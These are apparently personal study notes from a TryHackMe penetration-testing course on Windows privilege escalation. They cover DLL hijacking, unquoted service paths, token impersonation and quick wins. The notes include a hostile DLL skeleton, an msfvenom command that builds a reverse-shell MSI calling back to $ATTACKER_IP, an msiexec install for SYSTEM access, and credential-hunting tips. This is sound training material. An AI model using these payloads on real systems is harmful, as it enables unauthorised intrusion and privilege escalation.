TryHackMe: Jr. Penetration Tester

author: Nathan Acks
date: 2022-04-21

Windows PrivEsc

Introduction

Common Windows user levels:

Note that non-admin domain users may still be local admins.

Note that most Windows antivirus products will not allow enumeration scripts to be run.

Here’s a useful checklist:

Information Gathering

Note that the findstr command is the Windows equivalent of grep (and sometimes also find). Also remember that you can use pipe in Windows!

Note that Windows provides the netstat command, and it recognizes all of the switches we’d hope it does. Note, however, that -o displays the PID of the process using the connection on Windows.

Microsoft Defender uses the service name windefend.

Tools of the Trade

Notes:

Vulnerable Software

DLL Hijacking

Basically, this is the Windows equivalent of exploiting LD_PRELOAD or LD_LIBRARY_PATH.

Windows DLL search order if SafeDllSearchMode is enabled:

Windows DLL search order if SafeDllSearchMode is disabled:

It seems more-or-less impossible to determine what DLLs an application is searching for without having SYSTEM access already (so tools like ProcMon can be run). So, local testing!

A skeleton DLL:

#include <windows.h>

BOOL WINAPI DllMain
(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
	if (dwReason == DLL_PROCESS_ATTACH) {
		system("cmd.exe /C whoami > C:\Temp\dll.txt");
		ExitProcess(0);
	}
	return TRUE;
}

Compile with mingw (this can be done on Linux!):

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

Note that Windows also comes with wget!

# Change user foo's password to "bar" (requires admin/SYSTEM
# authority):
#
net user foo bar
#
# Note that this does *NOT* bypass any password complexity
# requirements!

Unquoted Service Path

Formally, when Windows encounters an unquoted service path it tries all possible paths, from shortest to longest. Thus C:\Program Files\service path\service.exe will cause Windows to look for the following executables, in order:

If an executable is found on a shorter path, then the remainder of the (unquoted) path is treated as command line parameters.

Print out all services:

wmic service get name,displayname,pathname,startmode

You can inspect the service paths in this output to see if any have spaces and are unquoted.

When checking the permissions of a folder, note that the Windows File Explorer isn’t good about displaying permissions for users who have multiple applied ACLs. Use icacls or Get-Acl $PATH | Format-List, and be sure to keep your eyes peeled for duplicate user entries (all of which will be applied!).

Find a file in Windows:

dir $FILE_NAME /S

Token Impersonation

Prior to Windows 10 1809 / Server 2019, services could be forced to authenticate to a local port controlled by a low-privilege attacker, which would then allow the attacker to proxy and capture the NTLM handshake and thus (typically) a SYSTEM token. (This vulnerability technically still exists, its just that unprivileged accounts can no longer use this token; check to see if the output of whoami /priv contains the SeImpersonatePrivilege privilege to see if you’ve gotten lucky.)

Exploits in this family are typically named “X Potato” after the first exploit, “Hot Potato”.

Quick Wins

(1) Look for defunct (but still running) scheduled tasks with running as a more highly privileged account that point to a path you can control.

(2) If AlwaysInstallElevated is set to 1 under both of the following keys, then MSI installers will run as SYSTEM.

reg query HKCU\Software\Policies\Microsoft\Windows\Installer

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generate a malicious MSI file with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
		-f msi -o $INSTALLER.msi

Then install on the target to gain SYSTEM:

msiexec /quiet /qn /i $INSTALLER.msi

(3) Check for saved passwords of othe users with cmdkey /list. If any exist, then they can be used in runas with the /savecred flag.

(4) Sometimes registry keys contain passwords! Apparently, you can query/search across registry keys using reg query ....

(5) Windows uses a file called unattend.xml to store setup auto-configuration information. Check if these have been left lying around.